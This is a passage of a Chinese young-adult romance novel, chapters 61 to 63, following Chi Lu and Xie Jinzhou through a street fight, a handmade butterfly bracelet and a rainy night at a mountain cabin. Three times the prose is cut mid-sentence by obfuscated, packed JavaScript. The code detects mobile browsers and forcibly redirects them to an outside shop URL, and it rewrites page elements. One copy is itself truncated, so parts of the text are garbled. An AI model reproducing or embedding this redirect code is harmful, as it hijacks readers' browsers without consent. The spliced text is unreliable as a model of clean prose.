皮夹克男生拉开皮夹克,脱掉,随手往身后一扔,一副“脏了,老子不要了”的架势。 驰路懒得给他一个眼神,这样的男生她见多了,喜欢惹事,喜欢美女,喜怒切换自如。 驰路刚想往谢奶奶那边走,却被皮夹克男生一把拽住了手腕,听到他用油腻到不行的调戏声音说:“小美女,往哪里跑啊,跑哥哥这里。” 皮夹克男生拽起驰路的手腕就要往他怀里带。 驰路在外力作用下,往后退了一步。 她看出了皮夹克男生的意图,快速转身,抬脚往皮夹克男生脚背上狠狠踩了一脚,疼得他直跳脚,笑脸没了,又转换成一副凶样。 “我给你脸,你不要脸,那就别怪我不客气了!”皮夹克男生经过驰路这两次的挑衅,彻底绷不住了,尤其自己的两位好兄弟还在场。 为了解心头怒气和挽回颜面,皮夹克男生抡起拳头就朝驰路脑袋上砸。 这一拳下去,怕是要砸出脑震荡。 61. 舟哥送蝴蝶手链 「蝴蝶手链,我戴在手上,看了又看。 第一次这么喜欢一个物品。 也许因为是你亲自做的。 谢谢你,Z。」 ——《小蝴蝶的日落》 谢奶奶听到了这边的动静,见驰路要被人打,不管锅里的面了,边往这边跑边喊:“别打人!” 同一时间,响起摩托车的轰鸣声,伴随着急刹车的声音。 摩托车上的少年没顾得上停好他的“宝贝”,咚的一声,“宝贝”倒地了,他也没去管。 谢劲舟径自朝驰路走过去,趁着皮夹克男生犹豫的间隙,一把拽紧他的手腕,反向一拧,咔嚓,似乎听到骨头错位的声音。 皮夹克男生疼得刚想骂人,看到头盔后的那双眼睛,凌厉又冷漠,顿时噤声。 看了谢劲舟几秒后,皮夹克男生吓得哆嗦说:“你……你是谢”,“谢劲舟”三个字几乎呼之欲出,最后改成了“舟爷?” 谢劲舟摘下头盔,往小矮桌上重重一放,吓得另外两个男生一跳,其中一个面条刚吃了一半,挂在嘴边,吓得不敢吸溜了。 这三个混社会的男生,都见过谢劲舟,也都知道他江湖人称“舟爷”,是谁都不敢惹的厉害角色。 “看清楚了,老子就是舟爷!”谢劲舟声音冷沉,“还不快给老子滚!” 皮夹克男生早就看不惯谢劲舟了,今天本来想趁他不在,故意刁难下他奶奶。 这下好了,谢劲舟到场了,他彻底没了闹的资格,带上两个兄弟要走。 走之前,被谢劲舟叫住,乖乖付了面钱。 谁都没敢提那碗一口没吃被驰路贡献给皮夹克男生的面。 “没事吧。”等那三人走后,谢劲舟仔仔细细把驰路从上到下看了一遍。 “你看我有事吗。”驰路张开双臂,“我很好。” 驰路拉过塑料小板凳,边擦桌上残留的汤渍边把刚才发生的事讲了遍。 语气已经足够轻描淡写,发生的事情也几句话带过,但谢劲舟听得心里起火,听到最后,用拳头狠狠地砸了下桌面,一副要找对方大干一场的架势。 “然后,你不就来了吗。”驰路看着他砸在桌面上的手,“干吗跟自己过不去!” “就不应该便宜那孙子!”谢劲舟容不得任何人欺负他的家人,包括驰路。 “关键你也没便宜他啊,好像……把他的手腕弄骨折了吧。” 谢奶奶把刚才煮的面捞上来,端了过来:“小谢,你给我收点心啊,别动不动地就跟人打架!” “知道。”谢奶奶一来,谢劲舟的气焰熄了下去。 谢劲舟正好饿了,没管面有没有太软烂,直接挑了一筷子,刚准备吃,听到了咕噜的声音,是驰路的肚子在唱空城计。 他放下筷子,把碗推到她面前:“你先吃。” “奶奶,帮我再煮一碗。”谢劲舟跟谢奶奶说。 “好!”谢奶奶又去小摊前忙活。 “你也饿了吧。”驰路拿了双一次性筷子,撕开塑料纸,边搓筷子边说,“一起吧。” 第一次,两人一起吃一碗牛肉饸饹面,热气腾腾的雾气在两人之间升腾,笼着他们的脸,在半明半暗的夜色中,似一场美得不真切的梦境。 驰路几乎能感觉到两人的呼吸快融到一块,心脏没来由得怦怦跳。 他们的筷子撞到一块,有一根面缠在一起,像他们十八岁这年,必然要纠缠在一起的命运。 她没动,静静地看着他卷起面,一圈一圈地缠在筷子上,再递到她的嘴边。 驰路愣住,他这什么意思? “赏你的。”谢劲舟看着她,眼眸深深。 如果不是驰路,谢奶奶估计还要遭更多的欺负。 驰路明白过来,他这是感谢自己帮谢奶奶。 她刚张嘴要吃面,但那双筷子却往后一退,她扑了个空。 驰路眉头一皱:“谢劲舟,你干吗?” “下次遇到这种事,要逞强前一定要看看对方几个人,别没点数就乱来。” “我也没乱来啊。”驰路其实想到刚才要是皮夹克男砸下那一拳,后果不堪设想。 面对驰路的狡辩,谢劲舟摇了摇头,将面递到她嘴边。 …… 身处暗处的余夏,从谢劲舟帮驰路解围,到跟她一起吃面,她都看在眼里。 心间刺痛,仿佛针扎。 有什么在动摇,似秋日大风刮过时,簌簌掉落的枯叶。 她转身,一行眼泪从眼角滑落。 她从来没有这么喜欢过一个人,喜欢到什么时候都想见到他,想知道他过得好不好。 可是,如果喜欢成了单向的,收获的只能是无尽的苦楚。 也许,她该放下了。 谢劲舟是沙子,她再怎么攥在手心,都是要漏掉的。 他是浪子,喜欢过的人,不过都是过客。 但这回,她却一次次在谢劲舟身上看到了之前从未看到过的情绪。 这些情绪,只给一个人——驰路。 …… 谢奶奶端第二碗面过来时,看到的便是谢劲舟给驰路喂面的一幕,暖意漫上心头。 驰路怕那帮人再来闹事,说服了谢奶奶早点收摊回去。 谢劲舟骑着摩托车在最前面,驰路骑着自行车跟谢奶奶并排。 月色中,路灯下,三个身影始终在同一个空间里。 驰路发现谢劲舟开慢了,像在故意等她们,最后,他们三人并排,让驰路有种他们好像是一家人的错觉。 溶溶夜色下,再长的路,也变得不再漫长。 * 回到家,谢林乔还没睡,小姑娘嚷嚷着要跟驰路、谢劲舟一起玩。 不知道小姑娘从哪儿弄来了一盒子串珠,花花绿绿的,非要驰路、谢劲舟一起串。 两人都宠谢林乔,都乖乖坐下来串。 两人都没串过,谢林乔一开始会拿不同的珠子递给两人,还拿过绳子,教两人怎么穿。 谢林乔看自家哥哥笨手笨脚的样子,直言不讳道:“哥哥,你怎么这么笨,不是这样穿的,要这样穿。” 谢劲舟极其不喜欢这种玩意儿,之前跟谢林乔玩的也都是偏男生的游戏,比如玩射击类的玩具、汽车玩具等,这种小女生玩的,他真不喜欢。 但架不住谢林乔喜欢,就陪她玩玩吧。 小孩子的耐心不够,教完两人怎么串后,自顾自到另一边玩汽车玩具了,玩得不亦乐乎。 驰路、谢劲舟并排坐在桌前,桌子本就小,两人并排坐着几乎挨在一起,手臂时不时碰到。 有几次两人拿小盒子里的珠子时,指尖相触,次次驰路都觉得指尖泛起一阵电流,心跳如鼓。 每次她都会用余光偷偷地去看谢劲舟,却发现他面不改色、镇定自若,仿佛什么都没发生。 他这人真令人捉摸不定,强吻她时,那么霸道,那么不可一世,仿佛她是他的所有物。 但一到平时,又是那副桀骜的、冷漠的模样。 许婉说:“舟哥有时看你的眼神,像是要看到你的灵魂深处。” 有过这样的时刻吗? 在某个深夜,他们靠在阳台栏杆上一起抽烟的时刻? 还是他自然而然从她唇边渡烟的时刻? 抑或是,某个午后,上课时,他看她后背或侧脸的时刻? 也许有过吧,只是很短暂,短暂到她捕捉不到。 一张桌子,将两人禁锢在小小的范围里,驰路把胳膊悄悄地往右挪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560778|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不知谢劲舟是有意还是无意,不管她挪到哪里,他的指尖都能碰到她的,那么轻,轻得像腾起的烟雾,升入空中,转瞬即逝。 驰路忍不住了:“舟哥,你那么大的地方,非要往我这儿挤干吗!” 谢劲舟想要拿珠子的手一顿,侧头看她,似乎不太明白她在说什么。 装,你就继续装! 其实,谢劲舟没太注意刚才两人无意间碰触的手指,专注串珠。 听驰路这么说,没跟她计较,把胳膊往左边挪了半臂的距离,嗓音沉沉:“够了吗?” “够了。”驰路继续串珠,挑了个蓝色的穿好,看到谢劲舟挑了个粉色的往上穿,“你这是穿好给小乔的吗,是不是有些长了。” 谢劲舟没回答,全然做到了“两耳不闻窗外事,一心只用来串珠”。 驰路的这条珠子蓝白相间,比谢劲舟手上的那条还要长。 她这穿完了,要送给谁? 驰路忽然怔住,这长度,这配色…… 不知不觉间,竟然是按照谢劲舟喜欢的颜色、长度在串。 驰路意识到这个时,像怕被谢劲舟发现,连忙将珠子拿下来几颗,喊谢林乔过来,在她手腕上比了下,调到一个恰好的长度,最后挑了颗爱心形的公主串上去,打结,收尾,给她戴上。 谢林乔看着这条手链,格外满意:“阿驰姐姐,你做得真好看。” 夸完驰路,谢林乔挤到两人中间,想探过脑袋去看自家哥哥串的串珠什么样。 结果,谢劲舟一侧身,谢林乔什么都没瞧见,不满道:“哥哥,你串成什么样啦,给我看看。” 谢劲舟把小姑娘一提溜,拎了出去:“玩你的车去。” 谢林乔有着小孩子该有的反骨和叛逆,并没有听谢劲舟的去玩车,就想看看自家哥哥串的串珠。 她往谢劲舟身边凑,谢劲舟就把他往外推。 这么来了几个回合后,谢林乔累了,不开心地一跺脚,撅起嘴说:“坏哥哥!” “我不跟你玩了!”说完,谢林乔拿上自己的汽车玩具下楼找谢奶奶玩了。 原本时不时发出各种声音的房间瞬间静下来,驰路看着谢劲舟挑了个黄色的珠子串着:“不就是一条珠子吗,给小乔看看不行?” “有些东西,不是谁都能看的。”谢劲舟又挑了个蓝色珠子串上。 “你也有对小乔小气的时候啊。”驰路托腮看着谢劲舟手里那条五彩斑斓的手串,心里有些疑惑,如果是穿给小乔的,着实长了,那他是串给谁的?难不成是…… 驰路将信将疑道:“舟哥,你串的手链,不会是要送给我吧?” “不可以?”谢劲舟在透明盒子里找到了唯一的一只蓝色蝴蝶,串到手链上,算是大功告成。 驰路有些惊,他竟然是串好送给自己的! 还没从惊讶中反应过来,谢劲舟拉过她的左手,将五彩斑斓的手链戴到她的手腕上,大小刚好。 驰路转了转手腕,小小蝴蝶碰撞到串珠,发出轻响:“舟哥,为什么要送我一条花里胡哨的手链?” “你不是喜欢穿素色衣服吗,来点彩色,不是挺好。”谢劲舟看着驰路不明的眼神,“不喜欢?” 谢劲舟见她没说话,仍旧转着手腕,伸手抓住她的手腕:“不喜欢的话,我重新弄短了给小乔。” “谁说不喜欢了!”驰路看向谢劲舟,“我第一次知道,原来,彩色搭配蝴蝶竟然这么好看。我喜欢一切关于蝴蝶的东西。” “我也是。” “什么?” “我说,”谢劲舟再次说了一遍,“我也是,我也喜欢蝴蝶。” 我也喜欢蝴蝶,自从遇见你。 纷扰人间,你是飞进我世界里的那只蝴蝶。 62. 你让我长出翅膀 「小蝴蝶,小傻子,你不用跟我一起下地狱。 我走在黑暗里,而你,是一道光。 不够耀眼,却足够真挚、热烈。 照穿我所有的苦楚与孤独。」 ——《引路星》 睡前,驰路将彩色蝴蝶手链放在桌上、床上、手腕上,多角度、全方位地拍了好多张。 她挑了一张放在桌上跟蝴蝶耳挂一起的发给许婉、安然。 许婉第一时间回复,不是回复的字,而是回了她一张图,一张她手里拿着啵啵奶茶的夜色图,跟月亮合影,明暗交错,有一种深夜治愈感。 这看似是一张许婉展示自己深夜喝奶茶的图片,但只要足够仔细,会看到旁边的墙上有一道影子,只看到一张侧脸。 驰路看出来了,那是程佑白的。 驰路给许婉发过去一条短信:恭喜啊,我们的婉婉公主跟程骑士成功深夜幽会! 许婉回:阿驰,你这条手链是要送给我吗? 一秒后,许婉喜提驰路发过去的无语表情。 当许婉得知手链是谢劲舟串的,惊得喝奶茶时差点噎住,发过去一连串的惊叹号。 谢大佬竟然会亲自串手链!!! 许婉无法想象。 更无法想象,他这是为驰路串的。 许婉最后得出结论:阿驰,看样子舟哥喜欢你。 安然发来语音:阿驰,你串的手链吗?花里胡哨的,幼稚得要死! 驰路打过去一行字:芳町镇谢大佬送我的。 驰路很快收到了安然的回复,先是发出一阵惊讶不已的鹅叫,随即说:“阿驰,你不会拿下谢大佬了吧。” 驰路回:没有。 安然平复了情绪后,给驰路发过去一条心平气和又语重心长的语音:“阿驰,等高考完你就要离开芳町镇了,你最好不要跟谢大佬有什么。” 驰路知道安然的言外之意,跟岑语欢告诫她的一样,都指向一点:她跟谢劲舟是没有未来的。 未来是什么? 未来在哪里?又通往何方? 驰路一片茫然。 她躺在床上,翻来覆去地看着手腕间的彩色蝴蝶手链,听着蝴蝶撞击串珠时的轻响,响声似乎震碎了茫然,让她看到了一点点微光。 就着床头小小的烛火,驰路拿出手机,拍了一张手腕间蝴蝶手链的照片,发到朋友圈,配字: 灵魂贫瘠,你却穿透我的心脏,让我的灵魂长出翅膀。 看,那是一只只展翅高飞的蝴蝶。 这条朋友圈,设置成了仅自己可见,这是青春期少女独有的心事和秘密。 她将心事藏在无人知晓的角落,谁也不知道。 * 深冬来临之前,驰路没有等到有人带她去沙漠看一场日落,却在十二月的第二周等来了谢劲舟的缺席。 他有一周没去上课了,后桌空荡荡的。 冰冷的风透过窗户灌进来,凉意十足。 驰路之前一直待在南方,冬天远不如这里冷,上课时冷得直搓手。 到了晚自习,手都冻得发青。 她没放在心上,冷是冷点,但还属于她能忍受的范畴。 不知是不是被谢劲舟发现了,上周,白天他都会给她准备暖宝宝,晚上给她准备暖水袋。 这人直接从谢大佬转变成谢暖炉。 在这个冰冷的冬季,给她送温暖了! 随着谢暖炉的缺席,驰路又回到了从前,上课冷得搓手、晚自习手冻得发青。 同桌江迟也给她买了暖宝宝,但她没要。 冷点也挺好的,起码她能清醒地知道,谢暖炉缺席几天了。 不是没给谢暖炉发信息、打电话,但发信息不回,打电话手机关机。 她问罗子昂,罗子昂也不知道,只告诉她,每年这时候他都会消失个十几二十天。 后来,驰路从谢奶奶那儿得知,谢暖炉母亲的忌日是十二月十三日,他应该去静心小屋了。 …… 周五那天是十二月十二日,驰路跟老马请了个假,没上晚自习,打了辆车去静心山。 那天很冷,天已黑透,夜幕中没有一颗星。 北风肆虐,吹得她的薄校服外套鼓鼓胀胀。 有多久没来静心山了? 算算差不多有两个月了。 驰路打开了手机里的电筒,就着那一束微光往上爬。 路面似乎沾了水,滑腻腻的,有几次她差点滑倒。 她不由得想起上次下雨天,谢劲舟背她上山。 彼时的他,是风暴降临时的一艘船,将她载着,从波涛汹涌的湖中心,安全驶向了岸边。 现在,他不在身边,只能独自上山。 她在心里暗暗期待着,希望他在静心小屋,要不然白爬一趟山了。 爬到半山腰时,驰路稍稍停歇,向远处眺望。 远远地,看到一座小木屋伫立在不远处,屋里亮着一盏灯。 昏黄的灯光透过窗户洒在外面,照出了攀爬在墙上的藤蔓。 藤蔓枯了、黄了,却还顽强地依附着墙面。 驰路一直提着的心,瞬间落下。 走向小木屋的步伐越来越快,恨不得立刻见到他。 他缺席的一周,上课时,她在纸上写写画画,一低头,竟发现自己写下的都是他的名字;下晚自习,她总会抬头看一看窗外,看看栏杆处有没有一个高大的身影,却次次落空;回到家,走到自己房间门口时,会看一看谢林乔,问一问她哥哥在不在;深夜时分,她刷完题,靠在栏杆上抽烟时,总觉得左手边少了什么…… 驰路发现,她对谢劲舟的情感,渐渐趋同于跟驰岸的。 见不到,会忍不住去想。 甚至,有时,比想驰岸更强烈。 思念快被日光晒透,她都没见到她的神明。 终于要见到他了,内心雀跃,像历经千辛万苦找到巢穴的燕。 驰路推开小木门,发现木屋的门紧闭,木屋上挂着的“静心小屋”的木牌,随着晚风轻晃,晃到门上砰砰响。 她敲门,无人应答,再敲,依旧没有。 “舟哥,你在吗?”驰路喊着,回应她的是自己的回声。 驰路尝试着推门,却发现门关着,推不开。 她有小木屋的钥匙,但放在家里没带。 “舟哥,开开门,好不好?”驰路语气放软,像哄小孩。 她知道谢劲舟吃软不吃硬,这招之前用过管用,但这次却不奏效了。 谢奶奶告诉驰路,每到谢劲舟母亲的忌日,他谁都不想见。 所以,他现在处于谁都不想见的状态中? 驰路不想放弃,她知道,不想见任何人的时候,内心深处也是渴望有个懂自己的人陪着。 “舟哥,你不开门,我就不走。”驰路的语气里带着强烈的执拗。 …… 谢劲舟本睡得昏昏沉沉,被外面的声音吵醒。 这是他来这里的第几天了? 他已无从知晓,但他很清楚,从未有人来这里找过他。 他的那帮哥们都知道,这段时间,他需要独处。 门外的声音很特别,带着金属感的烟嗓。 驰路来了。 他的蝴蝶来了。 但他不想见她。 谁都不想见。 他沉于深海、坠入地狱,灵魂将灭,分不清黑夜与白天。 他是迷途困兽,在黑暗中沉沦。 她的声音,似空谷回响,一遍遍震着他的心脏。 这颗原本死寂的心,此刻,仿佛被什么点燃,一下一下地恢复跳动。 谢劲舟睁开眼,被头顶悬着的灯刺得微微闭眼,一时没适应光亮,抬手遮住眼睛。 耳边时而传来她放软的声音,时而传来执拗的声音。 他的暗黑世界,似乎射进来一束束光。 不耀眼,却足够让他的世界一点点明亮。 但谢劲舟没动,依然躺在沙发上。 …… 驰路将耳朵贴在门边,听到里面传来了些微的声响,像摁下打火机的声音。 她没再说话,打开手机里的手电筒,从书包里找出纸笔,就着一块块木墙写字。 木墙不平整,几次一笔下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560779|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都把纸戳了洞,她只好再重新写。 不过一句话,却写了好几分钟,废了七八张纸。 驰路看着写好的这句话,心想,就这句吧,不改了。 她弯腰,将纸条透过门缝塞进屋里,并提醒谢劲舟:“舟哥,看看我给你写的纸条。” 谢劲舟几乎是瞬间从沙发上坐了起来。 他一直在等她说话。 不可否认,他想听到她的声音。 她的出现,让他觉得他的世界,不是空无一人。 谢劲舟看到门缝里的那张纸条,从露出一个角,再露出一半,最后都进来了。 他想起上次在烂尾楼被人暴揍后把自己关在房间时,驰路从门缝塞纸条的画面。 他的蝴蝶,总有办法撬开他的心。 谢劲舟从沙发上下来,没穿鞋,悄悄地走到门边,捡起纸条,坐到地上,靠着门看纸条。 他以为驰路会在纸上写长篇大论,要不然也不会那么久。 但看到纸条时,愣了下。 哪有长篇大论,只有简单的一句话。 “谢劲舟,你要是想下地狱,我陪你一起。” * 地狱是什么样子? 是无人的孤岛,是漆黑的暗巷,是没有尽头的隧道,是所有美好的反面。 是抽象的存在,却又带来具体的疼痛。 这周,整整五天,谢劲舟都陷在地狱。 日子过得不分昼夜,黑白颠倒,夜夜失眠。 一闭上眼,全是梦魇般的曾经。 发生在两年前,过去了七百多个日日夜夜,却清晰如昨。 黑暗、疼痛日日将他吞噬。 他是活在炼狱里的困兽。 无法挣脱牢笼,被束缚手脚,哪里都无法走一步,只能画地为牢。 现在有人告诉他,她要陪他一起下地狱。 纸条上的每个字都像沉石,击中他的每根骨头,渗入他的骨髓。 他好像不是一个人,不是一个人在地狱沉沦。 有人陪他了。 地狱里,黑暗遍野,却也能开出花来。 …… 驰路知道谢劲舟来门边了,而且坐在了地上。 她蹲下来,也靠着门。 烟雾透过门缝,丝丝缕缕地冒出来,在黑夜里随风飘远。 是谢劲舟常抽的那种烟,味道烈,还有些呛人。 晚风过境,寒风入骨,驰路蜷缩起身体,等着门内人的回应。 啪嗒啪嗒,有什么掉落,落在她的眼睫上,凉飕飕的。 驰路抬头看夜幕,细雨如丝线般从天空落下,开始落得稀疏,渐渐下大了,下密了,如珠子般斜斜飘落。 哗啦啦的雨声敲打着木屋的门窗,谢劲舟的意识猛然从纸条上抽离。 下雨了。 他的蝴蝶要被雨打湿了。 谢劲舟的手指不由得攥紧纸条,狠狠地抽了一口烟,去茶几处摁灭了烟,走到门边。 咔哒,开了门。 * 谢劲舟看到驰路时,她的头发上、脸上、身上都有些湿了,长长的眼睫上还挂着将落未落的雨珠。 他的心忽然一紧,像被人揪了下。 谢劲舟抬手擦掉驰路眼睫上的雨水,指腹沿着眼尾往外,一直抚到她右眼尾的那颗胭脂痣才停住。 山上寂静,鸟鸣虫叫从远方传来,近处是啪嗒啪嗒落地的雨声。 世界朦胧又清醒,他看着她,像看着一场不真切的人间。 谢劲舟将驰路一把拽进来,抬腿关上门。 那些从驰路身后飘过来的雨水,瞬间被隔绝在外。 她被拽进一个宽厚的胸膛,温暖,干燥,带着浓烈的烟味和皂香。 独属于谢劲舟的味道,带给她遥远的熟悉感。 思念顷刻有了归属地,她抬手也将他环住。 谢劲舟的声音落在她的头顶,轻轻的,重重的,低沉,磁性。 “小傻子,谁要你陪我一起下地狱。” 他的蝴蝶,他不会让她下地狱。 她是他生命里的那束光,他要好好守住。 63. 梦游小蝴蝶 「Z,你跟我说,要向前看。 你呢?你也要向前看。 我要高举旗帜,让你知道, 囚徒会解开镣铐,太阳还在照耀。 这人间,依旧闪耀,依旧值得我们骄傲。 Z,你看见了吗?」 ——《小蝴蝶的日落》 驰路不知道这个拥抱持续了多久,也许很短,也许很长。 在两人身体相贴的每一刻,她都能听到自己的心跳,还有谢劲舟的。 心跳声,大过外面的雨声。 似乎都在诉说着彼此的心事。 谢劲舟松开她后,给她拿了一条干毛巾帮她擦头发。 驰路坐在原木沙发上,看着茶几上满满的烟蒂,烟灰缸旁是一个个东倒西歪的啤酒罐,都被捏扁了。 原本放在玻璃花瓶都被挪到了最右边。 水是干净的,洋桔梗看起来也挺新鲜。 驰路一抬眸,去看玻璃缸里的鱼,里面加了些石头、水草,一条鱼都没有。 难道…… 就在她觉得鱼可能都挂了的时候,从水草里游出来一尾,又游出来一尾,最后一尾从一块比较大的石头后面探出脑袋。 她提着的心,瞬间落下。 原来,三条鱼都活着,活得还挺好,被养大了,也养肥了。 谢劲舟这是时不时过来看看它们,给它们换水,喂吃的? 驰路侧头去看谢劲舟,看到他眼睛下方的黑眼圈,一看就没睡好。 她发现这次颓丧的他,跟上次躲在小屋闭门不出的他不太一样。 那次,屋里被他弄得又乱又脏,但这次,除了茶几上杂乱的啤酒罐,其他地方都被收拾得井井有条,干净又整洁。 他是把这里当成家,所以即使状态不好、心情不佳,也尽力保持环境干净? 驰路朝他笑:“有进步啊。” “什么有进步?”谢劲舟拿毛巾把她校服外套上的水珠擦掉,“对你好这件事,有进步?” 驰路更正:“你想什么呢,我是说你收拾屋子有进步,没把这儿弄成垃圾场。” “这是我们的家,老子怎么可能把它弄成垃圾场。” “我们的家”像是某种隐秘词汇,暧昧又滚烫,直直撞进驰路心间,撞得她心尖微微发颤。 她看着谢劲舟的那双狐狸眼有些躲闪,说出的话也不利索:“我……我先去……冲个澡。” 驰路换了凉拖,刚匆匆忙忙走到浴室门口,却发现自己没拿衣服。 她从学校直接过来的,没带衣服,这儿也没一件她的衣服。 驰路转头去看谢劲舟,看到他慵慵懒懒地坐在沙发上,翘着二郎腿,一副大爷样,好整以暇地看她。 驰路往他面前走:“有衣服吗?借我一下。” …… 等驰路洗完澡出来时,穿着谢劲舟一件长及大腿的黑色T恤,下面穿着一条宽松的黑色运动裤。 尺码不合身,松松垮垮,穿出了oversize的松弛感。 谢劲舟还在沙发上,躺在扶手上,脑袋下方枕了个靠枕,手里正捧着一本书。 谢大佬专注看书的样子,有种说不出的认真和帅气。 昏黄的灯光打在他的脸上,照出他完美痞帅的侧脸、清晰的下颌线。 随便哪个角度去拍,都是一幅明星大片。 大概听到了驰路走过来的脚步声,谢劲舟抬头去看她,目光在她身上停留了几秒才又回到书上。 结果,看的每个字都进不到脑袋里,想到的都是穿着他衣服的驰路。 谢劲舟索性把书放到一旁,将早就拿出来的吹风机插上电源,朝身边的位置拍了拍,示意驰路坐过来。 驰路再次享受到久违的被人吹头发的待遇。 这人,还是谢劲舟。 指腹有意无意划过她的头皮时,总会让她产生轻颤。 对他,她好像在一点点丧失免疫力。 驰路发现茶几上的啤酒罐都收走了,烟灰缸又干净了,插着洋桔梗的花瓶又被放到了茶几中央。 一切恢复如常。 帮驰路吹完头发,谢劲舟拿过一旁的书,翻开一页,问她:“你什么时候写的?” 驰路凑过去看:“第一次来这里时,不小心看到了,总觉得要写点什么,就写了。” 她去看谢劲舟的脸,没有表情,她猜不到他的心思,声音低下去,道歉:“对不起,我不该在没有经过你同意的情况下在上面写字。” “没事。”谢劲舟看向驰路,手指抚着她写的那行字,轻声说,“谢谢你写下这段话。” 每当谢劲舟心情很差时,他便会翻翻《克林索尔的最后夏天》。 这次他翻开时,看到了自己那行字的旁边还写着一段话。 字迹潇洒大气,有种不属于女生的狂野。 一眼便能看出,是驰路写的。 他不喜欢任何人走进他的内心世界,包括在他的书上写下点什么。 但奇怪的是,他看到那段话时,非但没生气,反而内心受到了某种触动,坚固的堡垒瞬间坍塌。 他以为自己无坚不摧,以为躲起来就可以天下太平、内心平和。 实际不是。 他不过是换个地方咀嚼陈年旧事。 只是这里足够清净。 这里还埋葬着他老妈的骨灰。 静心山,是最靠近他老妈的地方。 这几天,每到深夜,他都会去埋葬老妈的那棵山楂树下,一去就是待到天亮。 他老妈喜欢吃糖葫芦,曾经静心山漫山遍野都是野草和松树,寻不到一棵山楂树。 现在不同了,他老妈来这里了,他就为她种下一棵山楂树。 两年过去,山楂树从小幼苗长成一棵大树,比他都要高了。 谢劲舟每次来,都会去看一看山楂树,有时浇浇水,有时剪剪坏枝。 第三年了,山楂树终于结果了,枝头结满了红艳艳的果子,压弯树枝。 他把果子摘下来做成了糖葫芦,放在老妈坟头。 可惜,老妈看不到山楂结果,也吃不到糖葫芦了。 世间痛楚,不是自我丢失,就是亲人离世。 谢劲舟的苦楚,在看到驰路留下的那段话时,得到了些许抚慰。 “舟哥,世上没有真正的牢笼,如果有,一定是我们给自己戴上了镣铐。” “世界不会始终如一,我们可能会一直迷失,可能不会拥有更好的命运,但总会有新的明天,因为每天的太阳都照常升起。” * 当谢劲舟再次看到太阳时,便会想起驰路写在《克林索尔的最后夏天》里的那段话。 他认为,世界是一张大网,漆黑无边,将他结结实实罩住,他无法逃脱。 这是谁也无法探寻到的内心角落。 驰路却探寻到了,告诉他,黑暗的世界,也会有太阳。 谢劲舟看着驰路从桌上拿过蝴蝶手链戴上:“一直戴着?” “也没有,就今天想到就戴了。”驰路边戴边说,面不改色。 但如果细细看,她的眼神有点乱。 她撒谎了。 哪是今天戴,从谢劲舟送给她的那一天她便天天戴,塞在校服宽大的袖子里,谁都看不见。 戴着他亲手做的手链,仿佛每时每刻,他都在她身边。 有一种说不太上来的亲密感。 似悄无声息漫上海岸的浪花。 “舟哥,这几天你都没睡好吧。”驰路看着谢劲舟的黑眼圈,“今晚早点睡吧。” “嗯。” 驰路拍了拍沙发:“老规矩,这儿还是我的地盘。” 谢劲舟看着她:“今晚,能不能陪我?” 驰路觉得他这话奇怪得很,她就在这里,今晚本来也不回去,他为什么要这么说。 继续问下去才知道,原来,他要的陪伴,不是在这里陪着他,而是在他的房间里陪他。 简而言之,就是要同床共枕。 当谢劲舟说出这样的提议时,驰路的脸不由得泛红。 她知道,自己曾经梦游时跟他同床共枕过,但他不知道,她就当什么都没发生过。 但这次不一样,他要她清醒地跟他同床共枕。 半山腰,林中小屋,下雨夜,一男一女,共处一室,合适吗? 他只是单纯地想要自己陪她吗? 还是,想要跟她发生点什么? 驰路在谢劲舟的眼里,没有看到调戏,也没有看到其他情绪,仿佛这个提议,不过是在问她,晚上要吃点什么。 驰路想了想,没同意。 万一他要跟自己发生点什么,她跑都来不及。 …… 夜深了,窗外的雨还在下,越下越大。 客厅关了灯,驰路点燃了香氛蜡烛,在沙发上辗转反侧。 一点都睡不着。 驰路照例先把几道难题在脑袋里过一遍,过完后思绪飘来荡去,一会儿想起远在法国的驰岸,一会儿想起老妈,最后脑袋里浮现一墙之隔的谢劲舟。 他好像没睡,好像在写着什么,又好像在喝水。 他去床上睡了,好像一直在翻身。 明天就是他母亲的忌日了,此刻的他,会不会被巨大的伤痛包围? 驰路想到了曾经那个在黑夜里困到不行却无论怎样都睡不着的自己。 除了身体上的不适,还有梦魇。 谢劲舟会不会进入了郁期,她来这里,基本没怎么听他主动跟自己说话,大多数时候都沉默着抽烟,一根接一根,满腹心事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560780|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 驰路屈指在墙上敲了两下。 咚咚咚,如小猫挠墙。 一直在翻身的谢劲舟听到了某种声音,不是雨声,是敲击墙面发出的沉闷声响。 他瞬间不动了,像被人点了穴,侧身,细细聆听墙外动静。 混着窗外的雨声,他听到墙外传来特别的烟嗓。 我跟你描述一个灵魂 它拥有不谢的青春 每当夜色降临 就会轻轻歌唱 它唱着一个新鲜的故事 …… boyboyboyisolation byebyebyebyebyeaonenightstand 